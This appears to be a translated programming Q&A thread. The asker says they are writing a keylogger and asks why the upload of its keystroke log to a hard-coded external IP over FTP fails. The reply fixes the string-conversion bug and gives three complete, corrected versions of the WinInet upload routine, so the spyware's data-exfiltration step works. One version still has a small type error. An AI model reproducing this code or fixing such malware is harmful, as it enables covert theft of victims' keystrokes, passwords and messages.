GetLastError(）从FtpPutFile(）返回错误6

GetLastError() returns error 6 from FtpPutFile()

本文关键字：错误 返回 GetLastError FtpPutFile      更新时间：2023-10-16

我正在为一个项目开发一个键盘记录程序。当尝试使用FTP将日志上载到服务器时，GetLastError()为FtpPutFile()返回6。我没有找到解决办法。我找到的一个解决方案是hint无效，但我替换了0或NULL，仍然得到相同的错误。

#pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;
int  upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no filen";
return 0;
}
HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
(LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
//cout << "FAIL!" << endl;
cout << GetLastError() << endl;
}
else
{
cout << "file sended !";
}
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return 0;
}

错误6为ERROR_INVALID_HANDLE。在调用FtpPutFile()之前，您没有检查InternetOpen()和InternetConnect()的返回值是否存在故障。

事实上，您正在向FtpPutFile()传递一个无效句柄，因为它们实际上是失败的，因为您的所有LPCWSTR类型转换都是错误的。您不能只将char*指针类型转换为wchar_t*并期望一切正常。删除类型转换并观察编译器，然后向您投诉。这是有原因的。

您需要使用MultiByteToWideChar()(或等效工具(来实际将char数据转换为wchar_t，例如：

#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#include <vector>
using namespace std;
#pragma comment(lib, "Wininet.lib")
wstring to_wstring(const string &s)
{
int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
if (len > 0)
{
vector<WCHAR> vec(len);
MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
return wstring(&vec[0], len);
}
return wstring();
}
bool upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return false;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetConnect failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}

或者，简单地使用std::wstring开始，而不是完全使用std::string：

#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
wstring file = L"C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
wstring site = L"142.93.169.69";
wstring user = L"user";
wstring pass = L"pass";
if (!wifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}

否则，如果您想保持原样使用std::string，那么只需使用WinInet函数的ANSI版本：

#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
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